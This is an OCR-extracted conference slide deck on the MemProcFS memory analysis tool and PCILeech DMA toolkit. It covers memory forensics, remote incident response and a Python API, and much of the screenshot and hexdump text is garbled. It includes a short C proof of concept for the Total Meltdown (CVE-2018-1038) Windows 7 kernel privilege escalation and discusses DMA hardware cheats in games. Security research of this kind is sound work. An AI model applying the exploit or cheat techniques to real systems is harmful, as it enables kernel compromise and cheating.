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Introduction and background

What is PClILeech and The Memory Process File System?
Finding a "Total Meltdown”

Hardware assisted Cheating in games
In-Depth: Capabilities Design, APl and Plugins

Demos - Live Demos!



About Me: UIf Frisk

Pentester by day — Stockholm, Sweden

Security Researcher by night
Author of the PClLeech Direct Memory Acccess Attack Toolkit

Presented at DEF CON and the Chaos Communication Congress
100% Open Source




What is the Memory Process File System?
Memory Analysis tool with Windows focus

In-Memory objects as Files and Folders
C and Python API

Multi-threading + native C core + intelligent parsing - FAST!

Wide range of memory acquisition methods:
hardware and software
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ING THE MEMORY PROCESS FILE SYSTE
The Memory Process File System is mounted as \
Loaded VmmDll Version: 1.3.0

Memory from dump files or PCILeech supported devices are analyzed to provide

a convenient process file system for analysis purposes.
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Analysis with HW device
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Use Case #1 - Finding a Total Meltdown

CVE-2018-1038 - local privilege escalation user to kernel
Arbitrary physical memory read/write at GB/s.

: @ UIf Frisk
Windows 7 / 2008R2 only ) ouirisk
Introduced in Meltdown patches finding a very nice vuln just to discover it was

: recently patched by vendor %
Patched in March 2018 - y p .

Contacted the MSRC and published blog entry with PoC

But it wasn’t fixed ...



Finding a Total Meltdown

... and I've released a trivially exploitable kernel 0-day

Fixed if running with administrative privileges
NOT fixed if running as normal user

Super fast fix from Microsoft with OOB patch on March 29t
only two days after my blog post



Demo: Finding a Total Meltdown
Locate Total Meltdown by looking at the memory map!

PMLA4 self referential entry mapped as user-mode

+{map E3
019¢ 1 fIfffe83fLf7L£7000-LLLLLfE683LL7L7LLL —Twix
0197 4 fIfffe83ff7Lf9000-LLLFFAARFFIFAFFF —vurv
0198 1 fEFffee3fffffO00-££ £ Table 4-14. Format of an IA-32e PML4 Entry (PML4E) that References a Page-Directory-Pointer Table
0199 2 fffffefb40000000-££1! :
Bit Contents
019a 1 £E£££6fb40003000-£££1 | pogition(s)
01%Db l] fffffefb4lffb000-£1f 1!
01Gc 1 fffffefpalfefoon-£££1 | 0(P) Present; must be 1 to reference a page-directory-pointer table
01%d 1 £LIffefb7dal0000-£11 | 1 Raw) Read/write; if O, writes may not be allowed to the 512-GByte region controlled by this entry (see Section 4.6)
01%e ] Rl 1 T 1
019f 2 £££££6£bT7dbed00d 1! 'LSJser./suzeé\;isor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see
—— — - - ection 4.

2 PWT Panea-lsusl writa-thrniinh' indirertiv determinec the mamnne tune 11€ed tn arrece the nane-dirartarv-nninter tahle



"Total Meltdown” - 1 bit set in error

$ hexdump /cygdrive/m/pmem -C -n 4096 $((16#%(cat dtb)))
02 00 00 00 00 00 00
00 00 00 00 00 00 00

67 8
00 00

00 00
00 00

00 00
67 48

0

fO 7a 00 00 TO
00 00 00 00 00

00 00 00 00 00
00 00 00 00 00

00 00 00 00 00
9d 7a 00 00 00

00 67 18 7b 00 00 80
00 00 00 00 00 00 00

00 167 e8 8d 00 00 00
00 63 19 DU 00 00 00

00008de80867 <« Entry: PML4de
(hex) Ox7 = 0111 (binary)

Table 4-14. Format of an IA-32e PML4 Entry (F

4€) that References a Page-Directory-Pointer Table

Bit
Position(s)

Contents

0(P)

Present; must be 1 to reference a page-dirgtory-pointer table

1 (R/W)
2 (UIS)

2 (PIAIT)

Read/write; if O, writes may not be allowesl to the 512-CByte region controlled by this entry (Ssee Section 4.6)

User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see
Section 4.6)

Pana-lsusl writa-thrniinh' indirertiv determinec the mamnrue tune 1icad tn arrece the nana-dirartnaru-nnintar tahla




The minimal ’exploit”
No API calls required! — just read and write already in-process memory!

Check for existence:

unsigned long long pte selfref = *(unsigned long long*)OxFFFFF6FB7DBEDF68;

Read 4k "arbitrary” physical memory from address 0x331000

unsigned char buf[0x1000] ;

* (unsigned long long*) OXFFFFF6FB7DBED = 0x0000000000331867;

memcpy (buf, OxFFFFF6FB7DB00000, 0x1000) ;




Use Case #2 - Hardware Cheats

The unexpected use case — cheating in games!
Anti-Cheats — detects software based cheats

HW Cheat —"only” a PCle device ...

Memory analysis on separate computer

Read-Only “radar / map decloak”
or Read-Write (more easily detected)




Hardware Cheats
Cheating scandal summer 2018

Cheating at home and on LANs
when OK to bring own computer

Cheat focused fork on Github

O Pull requests Issues Marketplacs

EngineOwningSoftware / pcileech-webradar
forked from ufrisk/pcileech

<% Code lssues O Pull requests 0 Projects 0 Insights

CS:GO DMA Cheat (caution, seems to be detected by ESEA and Facelt)




Hardware Cheats

S 79 Tl as 235



Hardware Cheats

& =2 O ) 4 | https://blog.esea.net/esea-hardware-cheats/ bxg = L g
- % ESEA.net Official Blog — Cat And Mouse — ESEA Anti-Cheat Share this (7 m »
Lol -J| '
e — B m F a . . Vo
‘ DMA DEVICE CLIENT PC ATTACK PC

I
. * ((I))
' m PHONE with @ - ——- =

SYSTEM MEMORY OMA DEVICE PLAYER LOCATION RASPBERRY PI

Ixevct Messory Avovse exemplr

DMA attack scenario in Counter-Strike

“prices for these cheats have been seen in the $1,500 to $5,000 range”
& ... ban wave of both cheat customers and developers ...”

& . can detect hardware-based cheats even when
disguising the hardware cheat as a legitimate device. ”



What if ... it’s possible to perfectly emulate legit hardware devices?
Already demonstrated by Cambridge University — Thunderclap
S4500+ platform

Thunderclap: Exploring
Vulnerabilities in Operating System IOMMU
Protection via DMA from Untrustworthy Peripherals

FPGA soft-logic Arm Cortex A9 CPU dual-core

I - ———» | PCle 1o Thunderbolt bridge (optional)

http://thunderclap.io/thunderclap-paper-ndss2019.pdf

Fig. 4: Implementation of fully-functional network card using
a QEMU device model running on FPGA



MemProcFS Design Goals
Ease of use - but yet powerful
Modular design and plugin functionality
APIls — C and Python

Performance



Modular Design - Component Overview
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X
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. MemProcFS.exe
File System callbacks List Directo
(very little code) Read File
Write File

vmm.dll

C API

Memory Analysis

Virtual to Physical Memory translation
Memory Models (x86, PAE, x64)

Read Mem

e

‘ Pti vmmpyc.pyd

Python API
(wrapper around C API)

e

\

Write Mem

Plugins
C and Python

.KIL :
leechcore.dll /ﬁW-DeviCe

C API
Physical Memory Read/Write
Physical Memory Map
Device Support

|

Loaded Driver

\

Files

Remote



LeechCore Library

leechcore.dll

Focus: c AP /Cvk 4

omae Dumplt

Physical Memory Read/Write | physical Memory Read/Write Ry TR

Physical Memory Map

Device Support \:)riVer (winpmem)

\{llirash dump (Dumplt)
g Raw memory dump

gy

Separates memory
vaUiSition from analysis kerberos secured

mutual-auth

Remote LeechAgent (RPC) Hyper-V save file



Vmm Library
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F Analysis Plugin Mgr [ Plugins

. MemProcFS.exe
l
File System callbacks I
(very little code) P rocess
o ”
Housekeeper MemMap || ModMap
Thread

Virtual2Physical:
Memory Models — x64, PAE, x86

Cache: Cache: 3
k
Physical Memory Page Tables jeechcore.dl

‘ C AP —>

Physical Memory Read/Write Loaded Driver
Physical Memory Map

object manager - refcount Dovice Support |

== e

Remote




Incident Response with LeechAgent

Suspicious process = Computer Quarantined to VLAN
Limited bandwidth high latency network

Full memory dump == slow

Solution: Retrieve only the memory needed -2
Analyze with The Memory Process File System

Or even better ... run the analysis on the
remote computer by submitting a Python script!



Demo: Remote Malware Memory Analysis

& Command Prompt

Q:\>MemProcFS.exe -device dumpit -remote rpc://kerberos-spn-remote-user:10.9.15.104

0016 2 0000003 fe000-00OORRRRRR3FFFFf -ruw-
E 0017 3a 0000000000400000-0000000000439FFF -rwx zuasi.exe

Ana |yze ||ve malwa re memory 0018 1 900000P00432000-000000000043afff -r-x  zuasi.exe
0019 1 00BGRPRRVV440000-0000000000440FFF -rw-
001la :
eelb “ » T Me 1
ealc NOQONexe-3

. P01d WinStore App.¢ dtb-use

From remote infected system oote [N
001f . pid —
0020 stk
0921 ,1’ win-eprocess d n-peb

. . . 0022 * HxD - [M\name\zuasi.exe-6700\vmem]|
By clicking on files!
} 3




Incident Response

Advantages with Physical Memory Analysis

MemProcFS has OK performance even over laggy networks
LeechAgent remote analysis directly on endpoint is nice (avoids latency)

Future focus: Performance optimizations
—> parallelize even more = reduce latency impact

- multi-threaded design is awesome = background refreshes
Limited analysis functionality right now

- more analysis plugins planned!



Demo: Python “All Things RWX?”

2

File Action Meda View Help

Pedformance App

Analyze live memory ...

1 dwmosxce

Comae Techn a Y C <h . 3 explorer.exe

o fontdrvhost exe

2 fontdrvhost.exe 796
Spl
SN % |fontdrvhost.exe e
1ont cc
—a " Chovt. & 1126
471 15 oper n fl ' ey :
Fully authenti d ¢ 5 the service, R 4
1 | lsass eve 688

From remote system

Python (V3.6 ecs b7, Oct 206 201 $35:33) [MSC v.1
Type " "copyright 3 ts"™ or "lice ’ more ir
>>> from

VinmPy

i in Pytho“ by USing API '. ' ad.frizk.net:BOOK-TESY.ad.frizk.net’,

VmmPy VemPy Pidiist(
VmmPy ialize( VimmPy_PidGetFromNar
¥ VemPy Proce etMenx )
] ( VimPy _Pr sGetMen apEn
L t mPy_Get V ¢ _Pre etModuleMap
Oca e rwx m e m O ry p rocesses Read( P roce romName (
Py | g mation(
mation(

emReadScatte

) [ VmmPy

6, 'pa-dtb-us
54" §




Demo: Python “All Things RWX?”

Analyze live memory

Q:\>pcileech.exe agent-execPy -in agent-find-rwx.py

AGENT-PYEXEC: Sending script to remote Le for proce
T-PYEXEC: Waiting for result

On remote system 2 No Iatency/ bandwidth limitations @

32¢ Hpr(ng + {'va': 1413248995312, 'size': 163 45), 'pa ‘1 40, "wowb4': F: . - 'flags-pte': 6,
< 8192, 'pag SOOK-TEST on BOOK - Virtual Ma

in Python by using API } 3 ; : _ ”

LIVEKD /A Le

Ms
rv'.a.’»ipEn;-‘_ ‘
MRT.exe:

MRT.exe:

DumpIt 3.8
Copyright
Copyright
Copyr

Copyr

Locate rwX memory processes- k=8

for )

£ry
memmap = Vinm { I, True)
for in
v ]
print(str(pid) + + 1 infal ] +

1 client reque

except
nass



Python API

Read / Write Physical and Virtual Memory
Process information
Modules information

List / Read / Write MemProcFS “files”

|
|

§

mmPy MemRead(

mmPy MemReadScatter(
mmPy MemWrite(

mmPy MemVirt2Phys(

VmmPy PidlList(

VmmPy PidGetFromName (
VmmPy ProcessGetMemoryMapl
VmmPy ProcessGetMemoryMapt
VmmPy ProcessGetModuleMap (

VmmPy ProcessGetModuleFrom
VmmPy ProcessGetInformatiol
VmmPy ProcesslistTnformatiy
VIiMPy ProcessGetEAT(

VmmPy ProcessGetIAT(

VmmPy ProcessGetDirectorigs
VmmPy ProcessGetSections(
VmmPy VfslList(
VmmPy V{sRead(
VmmPy VfshWrite(

n




Focus: Performance

IVI u |ti Th rea d i n « v <« Local Dis... * Dumps v O Search Dumps
g a WIN10-17134-165-1.pmem Date modified: 2018
— Type: PMEM File Size: 34,9 GB

In-memory caching
Intelligent parsing

. a - - The Memory Pr hess_File / HI L HY
AVO I d Sca n n I ng (If pOSSI b I e) |'-U-3dEd :—Tgﬁliu:lsr:ﬂgs Dr." F.H'ZILee-::h supported de es are analy

nient process file stem for analy purposes.
ystem is read-on when dump files are used.

/stem is e when FP

3 e

Locate Kernel DTB and Kernel Base B

* 4 = 3 This.. » MemoryProcessFile...

== MemoryProcessFileSystem [ ™

Status
status
name
name
0 HxD - [M:\pmem] - O X Agent.exe-13096
k& File Edit Search View Analysis Tools Window Help ApplicationFra-7764 id
pi
W pmem Battle.net Hel-12992
Offset(h) 00 Ol 02 03 04 05 06 07 08 09 OA OB OC 0D OFE OF Decoded text 2 Battle.net Hel-13068 oy
7C 16 00 00 30 00 C6é 16 00 00 10 00 00 00 00 00 [.eu0uBuruurn... Battle.net.exe-13308
70 AL 42 6L 02 F8 FF FF 00 20 00 20 ES F7 FF FF p*Bj.evy.S.S&:y¥ browser broker-8300
06 01 07 00 06 01 07 00 01 0% 00 00 00 00 00 00  euueeunrrennnnns f pmem
33 00 05 50 00 00 00 00 OO0 00 00 00 00 00 00 00 3..€.cueuenen... CodeWriter.exe-12624 1 Type: File Size: 34,9 GB
00 DO 1A 00 00 00 00 00 78 06 17 00 00 00 00 00 .B...... Hewennns conhost.exe-3568
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  euveeuurrennnnns
D T T L T




Locate Kernel DTB / PML4

DTB aka PML4 is required to translate Virtual address to Physical address
1. Known to “device” — Crash Dump files, Dumplt, ...
2. Does “Low Stub” exist?

3. Scan for DTB in lower memory.

o
|60001000 06 00 01 00 00 00 Mozison vsedTaels
0001010 00 OO0 OO0 O0 OO0 OO0 OO0 OO0 OO0 00 00 00 00 00 .. v v i i i i e s e nnnn
00001020 00 00 00 00 00 00 UB 20) Q) ; iscussiiRESes >
00001030 00 OO0 OO0 OO0 OO0 OO0 FF FF 00 O0 00 93 CF 00 ..o iir it s enman
00001040 00 00 00 00 00 00 B D R P e C oty
ntoskrnl address s 00 00 00 00 00 00 00 20 70 3 00 00 00 00 ... nn...
Oc\ﬂlﬂf\(\ NN _nn 20 N0 6 16 I O
(not base) OO0 70 D7 4A 02 F8 FF FF ‘ - A
0001080 U7 00U 0b 04 U7 00 1 09 00 00 00 00 00 00 ..o vvvireeennnns
00001090 NS 80 00 00 N0 00 50 90 34 E4 B9 02 0000 3.......P.4.....
DO AD 1A 00 00 Q0 00 O0g 78 06 17 00 00 00 00 00 ..o e e e aXuweenun
PM L4 00010B0U oU 00U 00 00 00U UU JO OU WU oeessssswesseas

000010C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .........c.oo...
000010D0 FF FF 00 00 00 00 Osmeane smpsves
=-0X1080/0%8BEO00000 -~ —=s st s s m et et S R .



Demo: Write to Memory

Hunt for data in Process Heap

@Overwrite data in memory




-« & Work in progress - future work

Page Hashing

Additional analysis capabilities remote: .
_ Registry and Threads - background low-bandwith

_ cache coherency updates

Support non-Windows OS - lower bandwith memory

acquisition

Additional memory acquisition methods



Summary - The Memory Process File System

Easy point-and-click file-based Memory Analysis tool
API| for Python/C/C++
Wide range of memory acquisition methods — also remote Agent

Open Source



Thank You!

github.com/ufrisk/MemProcFS

W UlfFrisk



